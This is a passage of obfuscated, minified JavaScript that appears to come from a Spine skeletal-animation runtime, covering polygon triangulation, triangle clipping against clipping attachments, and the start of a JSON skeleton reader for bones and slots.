(_0x472c28['length'] = 0x0; _0x4fd856 > 0x3;) { let _0x3e2cb6 = _0x4fd856 - 0x1, _0x204b1d = 0x0, _0x2f1872 = 0x1; for (; ;) { _0x52d303: if (!_0x2d7502[_0x204b1d]) { let _0x5cb02e = _0x2cdf17[_0x3e2cb6] << 0x1, _0xcb48cb = _0x2cdf17[_0x204b1d] << 0x1, _0x46ea9a = _0x2cdf17[_0x2f1872] << 0x1, _0x15591b = _0x13ec37[_0x5cb02e], _0x25dcbf = _0x13ec37[_0x5cb02e + 0x1], _0x374db4 = _0x13ec37[_0xcb48cb], _0x3507c1 = _0x13ec37[_0xcb48cb + 0x1], _0x640685 = _0x13ec37[_0x46ea9a], _0x2ab999 = _0x13ec37[_0x46ea9a + 0x1]; for (let _0x52bb99 = (_0x2f1872 + 0x1) % _0x4fd856; _0x52bb99 != _0x3e2cb6; _0x52bb99 = (_0x52bb99 + 0x1) % _0x4fd856) { if (!_0x2d7502[_0x52bb99]) continue; let _0x45c117 = _0x2cdf17[_0x52bb99] << 0x1, _0x281e32 = _0x13ec37[_0x45c117], _0x4d2f75 = _0x13ec37[_0x45c117 + 0x1]; if (_0x570c49['positiveArea'](_0x640685, _0x2ab999, _0x15591b, _0x25dcbf, _0x281e32, _0x4d2f75) && _0x570c49['positiveArea'](_0x15591b, _0x25dcbf, _0x374db4, _0x3507c1, _0x281e32, _0x4d2f75) && _0x570c49['positiveArea'](_0x374db4, _0x3507c1, _0x640685, _0x2ab999, _0x281e32, _0x4d2f75)) break _0x52d303; } break; } if (0x0 == _0x2f1872) { do { if (!_0x2d7502[_0x204b1d]) break; _0x204b1d--; } while (_0x204b1d > 0x0); break; } _0x3e2cb6 = _0x204b1d, _0x204b1d = _0x2f1872, _0x2f1872 = (_0x2f1872 + 0x1) % _0x4fd856; } _0x472c28['push'](_0x2cdf17[(_0x4fd856 + _0x204b1d - 0x1) % _0x4fd856]), _0x472c28['push'](_0x2cdf17[_0x204b1d]), _0x472c28['push'](_0x2cdf17[(_0x204b1d + 0x1) % _0x4fd856]), _0x2cdf17['splice'](_0x204b1d, 0x1), _0x2d7502['splice'](_0x204b1d, 0x1), _0x4fd856--; let _0x49e2ae = (_0x4fd856 + _0x204b1d - 0x1) % _0x4fd856, _0x266b5e = _0x204b1d == _0x4fd856 ? 0x0 : _0x204b1d; _0x2d7502[_0x49e2ae] = _0x570c49['isConcave'](_0x49e2ae, _0x4fd856, _0x13ec37, _0x2cdf17), _0x2d7502[_0x266b5e] = _0x570c49['isConcave'](_0x266b5e, _0x4fd856, _0x13ec37, _0x2cdf17); } return 0x3 == _0x4fd856 && (_0x472c28['push'](_0x2cdf17[0x2]), _0x472c28['push'](_0x2cdf17[0x0]), _0x472c28['push'](_0x2cdf17[0x1])), _0x472c28; } ['decompose'](_0x555a30, _0x5981c3) { let _0x3d99b9 = _0x555a30, _0x149f3f = this['convexPolygons']; this['polygonPool']['freeAll'](_0x149f3f), _0x149f3f['length'] = 0x0; let _0xd24522 = this['convexPolygonsIndices']; this['polygonIndicesPool']['freeAll'](_0xd24522), _0xd24522['length'] = 0x0; let _0x3ef0fd = this['polygonIndicesPool']['obtain'](); _0x3ef0fd['length'] = 0x0; let _0x9edd3c = this['polygonPool']['obtain'](); _0x9edd3c['length'] = 0x0; let _0xdc8e93 = -0x1, _0x4e95d4 = 0x0; for (let _0x22d585 = 0x0, _0x3ced81 = _0x5981c3['length']; _0x22d585 < _0x3ced81; _0x22d585 += 0x3) { let _0x350ff7 = _0x5981c3[_0x22d585] << 0x1, _0x57500f = _0x5981c3[_0x22d585 + 0x1] << 0x1, _0x427ff9 = _0x5981c3[_0x22d585 + 0x2] << 0x1, _0x1dc03c = _0x3d99b9[_0x350ff7], _0x18c3ee = _0x3d99b9[_0x350ff7 + 0x1], _0x42f364 = _0x3d99b9[_0x57500f], _0x3bee6b = _0x3d99b9[_0x57500f + 0x1], _0x33ec18 = _0x3d99b9[_0x427ff9], _0x541a62 = _0x3d99b9[_0x427ff9 + 0x1], _0x11b0e7 = !0x1; if (_0xdc8e93 == _0x350ff7) { let _0x267a57 = _0x9edd3c['length'] - 0x4, _0x2211d8 = _0x570c49['winding'](_0x9edd3c[_0x267a57], _0x9edd3c[_0x267a57 + 0x1], _0x9edd3c[_0x267a57 + 0x2], _0x9edd3c[_0x267a57 + 0x3], _0x33ec18, _0x541a62), _0x3dc751 = _0x570c49['winding'](_0x33ec18, _0x541a62, _0x9edd3c[0x0], _0x9edd3c[0x1], _0x9edd3c[0x2], _0x9edd3c[0x3]); _0x2211d8 == _0x4e95d4 && _0x3dc751 == _0x4e95d4 && (_0x9edd3c['push'](_0x33ec18), _0x9edd3c['push'](_0x541a62), _0x3ef0fd['push'](_0x427ff9), _0x11b0e7 = !0x0); } _0x11b0e7 || (_0x9edd3c['length'] > 0x0 ? (_0x149f3f['push'](_0x9edd3c), _0xd24522['push'](_0x3ef0fd)) : (this['polygonPool']['free'](_0x9edd3c), this['polygonIndicesPool']['free'](_0x3ef0fd)), _0x9edd3c = this['polygonPool']['obtain'](), _0x9edd3c['length'] = 0x0, _0x9edd3c['push'](_0x1dc03c), _0x9edd3c['push'](_0x18c3ee), _0x9edd3c['push'](_0x42f364), _0x9edd3c['push'](_0x3bee6b), _0x9edd3c['push'](_0x33ec18), _0x9edd3c['push'](_0x541a62), _0x3ef0fd = this['polygonIndicesPool']['obtain'](), _0x3ef0fd['length'] = 0x0, _0x3ef0fd['push'](_0x350ff7), _0x3ef0fd['push'](_0x57500f), _0x3ef0fd['push'](_0x427ff9), _0x4e95d4 = _0x570c49['winding'](_0x1dc03c, _0x18c3ee, _0x42f364, _0x3bee6b, _0x33ec18, _0x541a62), _0xdc8e93 = _0x350ff7); } _0x9edd3c['length'] > 0x0 && (_0x149f3f['push'](_0x9edd3c), _0xd24522['push'](_0x3ef0fd)); for (let _0x1eccf1 = 0x0, _0x250b8d = _0x149f3f['length']; _0x1eccf1 < _0x250b8d; _0x1eccf1++) { if (_0x3ef0fd = _0xd24522[_0x1eccf1], 0x0 == _0x3ef0fd['length']) continue; let _0x4ee198 = _0x3ef0fd[0x0], _0x1eca61 = _0x3ef0fd[_0x3ef0fd['length'] - 0x1]; _0x9edd3c = _0x149f3f[_0x1eccf1]; let _0x5362ef = _0x9edd3c['length'] - 0x4, _0x37e2e4 = _0x9edd3c[_0x5362ef], _0x30f97c = _0x9edd3c[_0x5362ef + 0x1], _0x43d83b = _0x9edd3c[_0x5362ef + 0x2], _0x3c412a = _0x9edd3c[_0x5362ef + 0x3], _0x4f67a4 = _0x9edd3c[0x0], _0x5408c6 = _0x9edd3c[0x1], _0x8ae880 = _0x9edd3c[0x2], _0x20e732 = _0x9edd3c[0x3], _0x2c4fcf = _0x570c49['winding'](_0x37e2e4, _0x30f97c, _0x43d83b, _0x3c412a, _0x4f67a4, _0x5408c6); for (let _0x1e54f3 = 0x0; _0x1e54f3 < _0x250b8d; _0x1e54f3++) { if (_0x1e54f3 == _0x1eccf1) continue; let _0x3f9672 = _0xd24522[_0x1e54f3]; if (0x3 != _0x3f9672['length']) continue; let _0x286aba = _0x3f9672[0x0], _0x4cd5a5 = _0x3f9672[0x1], _0xbc1cb4 = _0x3f9672[0x2], _0x354ce8 = _0x149f3f[_0x1e54f3], _0x16a0b7 = _0x354ce8[_0x354ce8['length'] - 0x2], _0x2ed9a3 = _0x354ce8[_0x354ce8['length'] - 0x1]; if (_0x286aba != _0x4ee198 || _0x4cd5a5 != _0x1eca61) continue; let _0x2290a3 = _0x570c49['winding'](_0x37e2e4, _0x30f97c, _0x43d83b, _0x3c412a, _0x16a0b7, _0x2ed9a3), _0x5b6332 = _0x570c49['winding'](_0x16a0b7, _0x2ed9a3, _0x4f67a4, _0x5408c6, _0x8ae880, _0x20e732); _0x2290a3 == _0x2c4fcf && _0x5b6332 == _0x2c4fcf && (_0x354ce8['length'] = 0x0, _0x3f9672['length'] = 0x0, _0x9edd3c['push'](_0x16a0b7), _0x9edd3c['push'](_0x2ed9a3), _0x3ef0fd['push'](_0xbc1cb4), _0x37e2e4 = _0x43d83b, _0x30f97c = _0x3c412a, _0x43d83b = _0x16a0b7, _0x3c412a = _0x2ed9a3, _0x1e54f3 = 0x0); } } for (let _0x3e5668 = _0x149f3f['length'] - 0x1; _0x3e5668 >= 0x0; _0x3e5668--)_0x9edd3c = _0x149f3f[_0x3e5668], 0x0 == _0x9edd3c['length'] && (_0x149f3f['splice'](_0x3e5668, 0x1), this['polygonPool']['free'](_0x9edd3c), _0x3ef0fd = _0xd24522[_0x3e5668], _0xd24522['splice'](_0x3e5668, 0x1), this['polygonIndicesPool']['free'](_0x3ef0fd)); return _0x149f3f; } static ['isConcave'](_0x4be0b7, _0x255188, _0x357617, _0x297cbf) { let _0x3ac1df = _0x297cbf[(_0x255188 + _0x4be0b7 - 0x1) % _0x255188] << 0x1, _0x309fae = _0x297cbf[_0x4be0b7] << 0x1, _0x210cf3 = _0x297cbf[(_0x4be0b7 + 0x1) % _0x255188] << 0x1; return !this['positiveArea'](_0x357617[_0x3ac1df], _0x357617[_0x3ac1df + 0x1], _0x357617[_0x309fae], _0x357617[_0x309fae + 0x1], _0x357617[_0x210cf3], _0x357617[_0x210cf3 + 0x1]); } static ['positiveArea'](_0x38cba9, _0x2cfbc0, _0x3f2568, _0x260c25, _0x3868d6, _0x15f54a) { return _0x38cba9 * (_0x15f54a - _0x260c25) + _0x3f2568 * (_0x2cfbc0 - _0x15f54a) + _0x3868d6 * (_0x260c25 - _0x2cfbc0) >= 0x0; } static ['winding'](_0x5a5aef, _0xbaf5fa, _0xfe2276, _0x3164ba, _0x25ec2c, _0xec77a8) { let _0x1fd1d5 = _0xfe2276 - _0x5a5aef, _0x1e358b = _0x3164ba - _0xbaf5fa; return _0x25ec2c * _0x1e358b - _0xec77a8 * _0x1fd1d5 + _0x1fd1d5 * _0xbaf5fa - _0x5a5aef * _0x1e358b >= 0x0 ? 0x1 : -0x1; } }, _0x3abe9e = class { constructor() { this['triangulator'] = new _0x570c49(), this['clippingPolygon'] = new Array(), this['clipOutput'] = new Array(), this['clippedVertices'] = new Array(), this['clippedTriangles'] = new Array(), this['scratch'] = new Array(), this['clipAttachment'] = null, this['clippingPolygons'] = null; } ['clipStart'](_0x35af15, _0x3387e7) { if (this['clipAttachment']) return 0x0; this['clipAttachment'] = _0x3387e7; let _0x4ea68c = _0x3387e7['worldVerticesLength'], _0x1c5ef6 = _0x5bda80['setArraySize'](this['clippingPolygon'], _0x4ea68c); _0x3387e7['computeWorldVertices'](_0x35af15, 0x0, _0x4ea68c, _0x1c5ef6, 0x0, 0x2); let _0x4c1fb2 = this['clippingPolygon']; _0x3abe9e['makeClockwise'](_0x4c1fb2); let _0xac1761 = this['clippingPolygons'] = this['triangulator']['decompose'](_0x4c1fb2, this['triangulator']['triangulate'](_0x4c1fb2)); for (let _0x27b82c = 0x0, _0x471837 = _0xac1761['length']; _0x27b82c < _0x471837; _0x27b82c++) { let _0x4472b6 = _0xac1761[_0x27b82c]; _0x3abe9e['makeClockwise'](_0x4472b6), _0x4472b6['push'](_0x4472b6[0x0]), _0x4472b6['push'](_0x4472b6[0x1]); } return _0xac1761['length']; } ['clipEndWithSlot'](_0x3d8485) { this['clipAttachment'] && this['clipAttachment']['endSlot'] == _0x3d8485['data'] && this['clipEnd'](); } ['clipEnd']() { this['clipAttachment'] && (this['clipAttachment'] = null, this['clippingPolygons'] = null, this['clippedVertices']['length'] = 0x0, this['clippedTriangles']['length'] = 0x0, this['clippingPolygon']['length'] = 0x0); } ['isClipping']() { return null != this['clipAttachment']; } ['clipTriangles'](_0x4892e6, _0x3fd6e1, _0xcb50cf, _0x1e1219, _0x3ad1c6, _0xa46da6, _0xed13c1, _0x58f8d1) { let _0x2995b8 = this['clipOutput'], _0x1b5984 = this['clippedVertices'], _0x1cae55 = this['clippedTriangles'], _0x4da5c9 = this['clippingPolygons'], _0x41ca1f = _0x4da5c9['length'], _0x1dc86d = _0x58f8d1 ? 0xc : 0x8, _0x1bdf30 = 0x0; _0x1b5984['length'] = 0x0, _0x1cae55['length'] = 0x0; _0x57477f: for (let _0x1cf93f = 0x0; _0x1cf93f < _0x1e1219; _0x1cf93f += 0x3) { let _0x5837e1 = _0xcb50cf[_0x1cf93f] << 0x1, _0x505789 = _0x4892e6[_0x5837e1], _0x9aa849 = _0x4892e6[_0x5837e1 + 0x1], _0x45833a = _0x3ad1c6[_0x5837e1], _0x14eb61 = _0x3ad1c6[_0x5837e1 + 0x1]; _0x5837e1 = _0xcb50cf[_0x1cf93f + 0x1] << 0x1; let _0x170a4e = _0x4892e6[_0x5837e1], _0x3e88f8 = _0x4892e6[_0x5837e1 + 0x1], _0x35ab35 = _0x3ad1c6[_0x5837e1], _0x4aff49 = _0x3ad1c6[_0x5837e1 + 0x1]; _0x5837e1 = _0xcb50cf[_0x1cf93f + 0x2] << 0x1; let _0x515d1f = _0x4892e6[_0x5837e1], _0xf2a0d1 = _0x4892e6[_0x5837e1 + 0x1], _0x57dc9c = _0x3ad1c6[_0x5837e1], _0x2e521c = _0x3ad1c6[_0x5837e1 + 0x1]; for (let _0xde5473 = 0x0; _0xde5473 < _0x41ca1f; _0xde5473++) { let _0x4f3e00 = _0x1b5984['length']; if (!this['clip'](_0x505789, _0x9aa849, _0x170a4e, _0x3e88f8, _0x515d1f, _0xf2a0d1, _0x4da5c9[_0xde5473], _0x2995b8)) { let _0x15a0d2 = _0x5bda80['setArraySize'](_0x1b5984, _0x4f3e00 + 0x3 * _0x1dc86d); _0x15a0d2[_0x4f3e00] = _0x505789, _0x15a0d2[_0x4f3e00 + 0x1] = _0x9aa849, _0x15a0d2[_0x4f3e00 + 0x2] = _0xa46da6['r'], _0x15a0d2[_0x4f3e00 + 0x3] = _0xa46da6['g'], _0x15a0d2[_0x4f3e00 + 0x4] = _0xa46da6['b'], _0x15a0d2[_0x4f3e00 + 0x5] = _0xa46da6['a'], _0x58f8d1 ? (_0x15a0d2[_0x4f3e00 + 0x6] = _0x45833a, _0x15a0d2[_0x4f3e00 + 0x7] = _0x14eb61, _0x15a0d2[_0x4f3e00 + 0x8] = _0xed13c1['r'], _0x15a0d2[_0x4f3e00 + 0x9] = _0xed13c1['g'], _0x15a0d2[_0x4f3e00 + 0xa] = _0xed13c1['b'], _0x15a0d2[_0x4f3e00 + 0xb] = _0xed13c1['a'], _0x15a0d2[_0x4f3e00 + 0xc] = _0x170a4e, _0x15a0d2[_0x4f3e00 + 0xd] = _0x3e88f8, _0x15a0d2[_0x4f3e00 + 0xe] = _0xa46da6['r'], _0x15a0d2[_0x4f3e00 + 0xf] = _0xa46da6['g'], _0x15a0d2[_0x4f3e00 + 0x10] = _0xa46da6['b'], _0x15a0d2[_0x4f3e00 + 0x11] = _0xa46da6['a'], _0x15a0d2[_0x4f3e00 + 0x12] = _0x35ab35, _0x15a0d2[_0x4f3e00 + 0x13] = _0x4aff49, _0x15a0d2[_0x4f3e00 + 0x14] = _0xed13c1['r'], _0x15a0d2[_0x4f3e00 + 0x15] = _0xed13c1['g'], _0x15a0d2[_0x4f3e00 + 0x16] = _0xed13c1['b'], _0x15a0d2[_0x4f3e00 + 0x17] = _0xed13c1['a'], _0x15a0d2[_0x4f3e00 + 0x18] = _0x515d1f, _0x15a0d2[_0x4f3e00 + 0x19] = _0xf2a0d1, _0x15a0d2[_0x4f3e00 + 0x1a] = _0xa46da6['r'], _0x15a0d2[_0x4f3e00 + 0x1b] = _0xa46da6['g'], _0x15a0d2[_0x4f3e00 + 0x1c] = _0xa46da6['b'], _0x15a0d2[_0x4f3e00 + 0x1d] = _0xa46da6['a'], _0x15a0d2[_0x4f3e00 + 0x1e] = _0x57dc9c, _0x15a0d2[_0x4f3e00 + 0x1f] = _0x2e521c, _0x15a0d2[_0x4f3e00 + 0x20] = _0xed13c1['r'], _0x15a0d2[_0x4f3e00 + 0x21] = _0xed13c1['g'], _0x15a0d2[_0x4f3e00 + 0x22] = _0xed13c1['b'], _0x15a0d2[_0x4f3e00 + 0x23] = _0xed13c1['a']) : (_0x15a0d2[_0x4f3e00 + 0x6] = _0x45833a, _0x15a0d2[_0x4f3e00 + 0x7] = _0x14eb61, _0x15a0d2[_0x4f3e00 + 0x8] = _0x170a4e, _0x15a0d2[_0x4f3e00 + 0x9] = _0x3e88f8, _0x15a0d2[_0x4f3e00 + 0xa] = _0xa46da6['r'], _0x15a0d2[_0x4f3e00 + 0xb] = _0xa46da6['g'], _0x15a0d2[_0x4f3e00 + 0xc] = _0xa46da6['b'], _0x15a0d2[_0x4f3e00 + 0xd] = _0xa46da6['a'], _0x15a0d2[_0x4f3e00 + 0xe] = _0x35ab35, _0x15a0d2[_0x4f3e00 + 0xf] = _0x4aff49, _0x15a0d2[_0x4f3e00 + 0x10] = _0x515d1f, _0x15a0d2[_0x4f3e00 + 0x11] = _0xf2a0d1, _0x15a0d2[_0x4f3e00 + 0x12] = _0xa46da6['r'], _0x15a0d2[_0x4f3e00 + 0x13] = _0xa46da6['g'], _0x15a0d2[_0x4f3e00 + 0x14] = _0xa46da6['b'], _0x15a0d2[_0x4f3e00 + 0x15] = _0xa46da6['a'], _0x15a0d2[_0x4f3e00 + 0x16] = _0x57dc9c, _0x15a0d2[_0x4f3e00 + 0x17] = _0x2e521c), _0x4f3e00 = _0x1cae55['length']; let _0x83d713 = _0x5bda80['setArraySize'](_0x1cae55, _0x4f3e00 + 0x3); _0x83d713[_0x4f3e00] = _0x1bdf30, _0x83d713[_0x4f3e00 + 0x1] = _0x1bdf30 + 0x1, _0x83d713[_0x4f3e00 + 0x2] = _0x1bdf30 + 0x2, _0x1bdf30 += 0x3; continue _0x57477f; } { let _0x1c053c = _0x2995b8['length']; if (0x0 == _0x1c053c) continue; let _0x30bba1 = _0x3e88f8 - _0xf2a0d1, _0x506a00 = _0x515d1f - _0x170a4e, _0x34ccfc = _0x505789 - _0x515d1f, _0x142cdf = _0xf2a0d1 - _0x9aa849, _0x320a75 = 0x1 / (_0x30bba1 * _0x34ccfc + _0x506a00 * (_0x9aa849 - _0xf2a0d1)), _0x3ff551 = _0x1c053c >> 0x1, _0x4c7afe = this['clipOutput'], _0x2e1d95 = _0x5bda80['setArraySize'](_0x1b5984, _0x4f3e00 + _0x3ff551 * _0x1dc86d); for (let _0x156a8d = 0x0; _0x156a8d < _0x1c053c; _0x156a8d += 0x2) { let _0x7e5478 = _0x4c7afe[_0x156a8d], _0x70fc1 = _0x4c7afe[_0x156a8d + 0x1]; _0x2e1d95[_0x4f3e00] = _0x7e5478, _0x2e1d95[_0x4f3e00 + 0x1] = _0x70fc1, _0x2e1d95[_0x4f3e00 + 0x2] = _0xa46da6['r'], _0x2e1d95[_0x4f3e00 + 0x3] = _0xa46da6['g'], _0x2e1d95[_0x4f3e00 + 0x4] = _0xa46da6['b'], _0x2e1d95[_0x4f3e00 + 0x5] = _0xa46da6['a']; let _0x566497 = _0x7e5478 - _0x515d1f, _0x4f5c4a = _0x70fc1 - _0xf2a0d1, _0x278cef = (_0x30bba1 * _0x566497 + _0x506a00 * _0x4f5c4a) * _0x320a75, _0x4da6f4 = (_0x142cdf * _0x566497 + _0x34ccfc * _0x4f5c4a) * _0x320a75, _0x27e4c1 = 0x1 - _0x278cef - _0x4da6f4; _0x2e1d95[_0x4f3e00 + 0x6] = _0x45833a * _0x278cef + _0x35ab35 * _0x4da6f4 + _0x57dc9c * _0x27e4c1, _0x2e1d95[_0x4f3e00 + 0x7] = _0x14eb61 * _0x278cef + _0x4aff49 * _0x4da6f4 + _0x2e521c * _0x27e4c1, _0x58f8d1 && (_0x2e1d95[_0x4f3e00 + 0x8] = _0xed13c1['r'], _0x2e1d95[_0x4f3e00 + 0x9] = _0xed13c1['g'], _0x2e1d95[_0x4f3e00 + 0xa] = _0xed13c1['b'], _0x2e1d95[_0x4f3e00 + 0xb] = _0xed13c1['a']), _0x4f3e00 += _0x1dc86d; } _0x4f3e00 = _0x1cae55['length']; let _0x176198 = _0x5bda80['setArraySize'](_0x1cae55, _0x4f3e00 + 0x3 * (_0x3ff551 - 0x2)); _0x3ff551--; for (let _0x339cd5 = 0x1; _0x339cd5 < _0x3ff551; _0x339cd5++)_0x176198[_0x4f3e00] = _0x1bdf30, _0x176198[_0x4f3e00 + 0x1] = _0x1bdf30 + _0x339cd5, _0x176198[_0x4f3e00 + 0x2] = _0x1bdf30 + _0x339cd5 + 0x1, _0x4f3e00 += 0x3; _0x1bdf30 += _0x3ff551 + 0x1; } } } } ['clip'](_0x11b206, _0x1a20ee, _0x2c3c9d, _0x124846, _0x1d3656, _0x4e14e4, _0x212e0c, _0x807da2) { let _0x46da0b, _0xbf687b = _0x807da2, _0x192413 = !0x1; _0x212e0c['length'] % 0x4 >= 0x2 ? (_0x46da0b = _0x807da2, _0x807da2 = this['scratch']) : _0x46da0b = this['scratch'], _0x46da0b['length'] = 0x0, _0x46da0b['push'](_0x11b206), _0x46da0b['push'](_0x1a20ee), _0x46da0b['push'](_0x2c3c9d), _0x46da0b['push'](_0x124846), _0x46da0b['push'](_0x1d3656), _0x46da0b['push'](_0x4e14e4), _0x46da0b['push'](_0x11b206), _0x46da0b['push'](_0x1a20ee), _0x807da2['length'] = 0x0; let _0x4df276 = _0x212e0c, _0x1f19d2 = _0x212e0c['length'] - 0x4; for (let _0x2266b2 = 0x0; ; _0x2266b2 += 0x2) { let _0x10d69e = _0x4df276[_0x2266b2], _0x4b2cf1 = _0x4df276[_0x2266b2 + 0x1], _0x24f5ea = _0x4df276[_0x2266b2 + 0x2], _0x30f679 = _0x4df276[_0x2266b2 + 0x3], _0x36b042 = _0x10d69e - _0x24f5ea, _0x2d3804 = _0x4b2cf1 - _0x30f679, _0x4cca19 = _0x46da0b, _0x55da0d = _0x46da0b['length'] - 0x2, _0x542ae4 = _0x807da2['length']; for (let _0x4f092e = 0x0; _0x4f092e < _0x55da0d; _0x4f092e += 0x2) { let _0x130c45 = _0x4cca19[_0x4f092e], _0x16caf8 = _0x4cca19[_0x4f092e + 0x1], _0x3f9502 = _0x4cca19[_0x4f092e + 0x2], _0x4c9591 = _0x4cca19[_0x4f092e + 0x3], _0x4f2ba4 = _0x36b042 * (_0x4c9591 - _0x30f679) - _0x2d3804 * (_0x3f9502 - _0x24f5ea) > 0x0; if (_0x36b042 * (_0x16caf8 - _0x30f679) - _0x2d3804 * (_0x130c45 - _0x24f5ea) > 0x0) { if (_0x4f2ba4) { _0x807da2['push'](_0x3f9502), _0x807da2['push'](_0x4c9591); continue; } let _0x4195ac = _0x4c9591 - _0x16caf8, _0x3761ac = _0x3f9502 - _0x130c45, _0x64ff16 = _0x4195ac * (_0x24f5ea - _0x10d69e) - _0x3761ac * (_0x30f679 - _0x4b2cf1); if (Math['abs'](_0x64ff16) > 0.000001) { let _0x37f0f0 = (_0x3761ac * (_0x4b2cf1 - _0x16caf8) - _0x4195ac * (_0x10d69e - _0x130c45)) / _0x64ff16; _0x807da2['push'](_0x10d69e + (_0x24f5ea - _0x10d69e) * _0x37f0f0), _0x807da2['push'](_0x4b2cf1 + (_0x30f679 - _0x4b2cf1) * _0x37f0f0); } else _0x807da2['push'](_0x10d69e), _0x807da2['push'](_0x4b2cf1); } else { if (_0x4f2ba4) { let _0x37175c = _0x4c9591 - _0x16caf8, _0x413486 = _0x3f9502 - _0x130c45, _0x2a7118 = _0x37175c * (_0x24f5ea - _0x10d69e) - _0x413486 * (_0x30f679 - _0x4b2cf1); if (Math['abs'](_0x2a7118) > 0.000001) { let _0x2f2182 = (_0x413486 * (_0x4b2cf1 - _0x16caf8) - _0x37175c * (_0x10d69e - _0x130c45)) / _0x2a7118; _0x807da2['push'](_0x10d69e + (_0x24f5ea - _0x10d69e) * _0x2f2182), _0x807da2['push'](_0x4b2cf1 + (_0x30f679 - _0x4b2cf1) * _0x2f2182); } else _0x807da2['push'](_0x10d69e), _0x807da2['push'](_0x4b2cf1); _0x807da2['push'](_0x3f9502), _0x807da2['push'](_0x4c9591); } } _0x192413 = !0x0; } if (_0x542ae4 == _0x807da2['length']) return _0xbf687b['length'] = 0x0, !0x0; if (_0x807da2['push'](_0x807da2[0x0]), _0x807da2['push'](_0x807da2[0x1]), _0x2266b2 == _0x1f19d2) break; let _0x2f94b4 = _0x807da2; (_0x807da2 = _0x46da0b)['length'] = 0x0, _0x46da0b = _0x2f94b4; } if (_0xbf687b != _0x807da2) { _0xbf687b['length'] = 0x0; for (let _0x45eb12 = 0x0, _0xd27c61 = _0x807da2['length'] - 0x2; _0x45eb12 < _0xd27c61; _0x45eb12++)_0xbf687b[_0x45eb12] = _0x807da2[_0x45eb12]; } else _0xbf687b['length'] = _0xbf687b['length'] - 0x2; return _0x192413; } static ['makeClockwise'](_0x23dbcb) { let _0x4bb45a = _0x23dbcb, _0x551615 = _0x23dbcb['length'], _0x308c77 = _0x4bb45a[_0x551615 - 0x2] * _0x4bb45a[0x1] - _0x4bb45a[0x0] * _0x4bb45a[_0x551615 - 0x1], _0x255ca8 = 0x0, _0x3d0af2 = 0x0, _0x2d5d9d = 0x0, _0x56354a = 0x0; for (let _0x3fbafd = 0x0, _0x5562e1 = _0x551615 - 0x3; _0x3fbafd < _0x5562e1; _0x3fbafd += 0x2)_0x255ca8 = _0x4bb45a[_0x3fbafd], _0x3d0af2 = _0x4bb45a[_0x3fbafd + 0x1], _0x2d5d9d = _0x4bb45a[_0x3fbafd + 0x2], _0x56354a = _0x4bb45a[_0x3fbafd + 0x3], _0x308c77 += _0x255ca8 * _0x56354a - _0x2d5d9d * _0x3d0af2; if (!(_0x308c77 < 0x0)) for (let _0x56a6cc = 0x0, _0x2083e9 = _0x551615 - 0x2, _0x394e61 = _0x551615 >> 0x1; _0x56a6cc < _0x394e61; _0x56a6cc += 0x2) { let _0x158165 = _0x4bb45a[_0x56a6cc], _0x4e15c3 = _0x4bb45a[_0x56a6cc + 0x1], _0x1f3d0c = _0x2083e9 - _0x56a6cc; _0x4bb45a[_0x56a6cc] = _0x4bb45a[_0x1f3d0c], _0x4bb45a[_0x56a6cc + 0x1] = _0x4bb45a[_0x1f3d0c + 0x1], _0x4bb45a[_0x1f3d0c] = _0x158165, _0x4bb45a[_0x1f3d0c + 0x1] = _0x4e15c3; } } }, _0x5320e1 = class { constructor(_0x13c3ef) { this['scale'] = 0x1, this['linkedMeshes'] = new Array(), this['attachmentLoader'] = _0x13c3ef; } ['readSkeletonData'](_0x5218fd) { let _0xa14be8 = this['scale'], _0x5e0eeb = new _0x13d71a(), _0x206c9c = 'string' == typeof _0x5218fd ? JSON['parse'](_0x5218fd) : _0x5218fd, _0xf43507 = _0x206c9c['skeleton']; if (_0xf43507 && (_0x5e0eeb['hash'] = _0xf43507['hash'], _0x5e0eeb['version'] = _0xf43507['spine'], _0x5e0eeb['x'] = _0xf43507['x'], _0x5e0eeb['y'] = _0xf43507['y'], _0x5e0eeb['width'] = _0xf43507['width'], _0x5e0eeb['height'] = _0xf43507['height'], _0x5e0eeb['fps'] = _0xf43507['fps'], _0x5e0eeb['imagesPath'] = _0xf43507['images']), _0x206c9c['bones']) for (let _0x176f6c = 0x0; _0x176f6c < _0x206c9c['bones']['length']; _0x176f6c++) { let _0x3d8fbd = _0x206c9c['bones'][_0x176f6c], _0x52107e = null, _0x2af5ec = _0xf797ab(_0x3d8fbd, 'parent', null); _0x2af5ec && (_0x52107e = _0x5e0eeb['findBone'](_0x2af5ec)); let _0x3fee83 = new _0x4a09a6(_0x5e0eeb['bones']['length'], _0x3d8fbd['name'], _0x52107e); _0x3fee83['length'] = _0xf797ab(_0x3d8fbd, 'length', 0x0) * _0xa14be8, _0x3fee83['x'] = _0xf797ab(_0x3d8fbd, 'x', 0x0) * _0xa14be8, _0x3fee83['y'] = _0xf797ab(_0x3d8fbd, 'y', 0x0) * _0xa14be8, _0x3fee83['rotation'] = _0xf797ab(_0x3d8fbd, 'rotation', 0x0), _0x3fee83['scaleX'] = _0xf797ab(_0x3d8fbd, 'scaleX', 0x1), _0x3fee83['scaleY'] = _0xf797ab(_0x3d8fbd, 'scaleY', 0x1), _0x3fee83['shearX'] = _0xf797ab(_0x3d8fbd, 'shearX', 0x0), _0x3fee83['shearY'] = _0xf797ab(_0x3d8fbd, 'shearY', 0x0), _0x3fee83['transformMode'] = _0x5bda80['enumValue'](_0x1f1575, _0xf797ab(_0x3d8fbd, 'transform', 'Normal')), _0x3fee83['skinRequired'] = _0xf797ab(_0x3d8fbd, 'skin', !0x1); let _0x1065fa = _0xf797ab(_0x3d8fbd, 'color', null); _0x1065fa && _0x3fee83['color']['setFromString'](_0x1065fa), _0x5e0eeb['bones']['push'](_0x3fee83); } if (_0x206c9c['slots']) for (let _0x24da20 = 0x0; _0x24da20 < _0x206c9c['slots']['length']; _0x24da20++) { let _0x1d71ef = _0x206c9c['slots'][_0x24da20], _0x4ce4a1 = _0x5e0eeb['findBone'](_0x1d71ef['bone']); if (!_0x4ce4a1) throw new Error('Couldn\x27t\x20find\x20bone\x20' + _0x1d71ef['bone'] + '\x20for\x20slot\x20' + _0x1d71ef['name']); let _0xf41ba = new _0x3862fc(_0x5e0eeb['slots']['length'], _0x1d71ef['name'], _0x4ce4a1), _0x12d250 = _0xf797ab(_0x1d71ef, 'color', null); _0x12d250 && _0xf41ba['color']['setFromString'](_0x12d250); let _0x2127d3 = _0xf797ab(_0x1d71ef, 'dark', null); _0x2127d3 && (_0xf41ba['darkColor'] = _0x1acaf1['fromString'](_0x2127d3)), _0xf41ba['attachmentName'] = _0xf797ab(_0x1d71ef, 'attachment', null), _0xf41ba['blendMode'] = _0x5bda80['enumValue'](_0x1e334b, _0xf797ab(_0x1d71ef, 'blend', 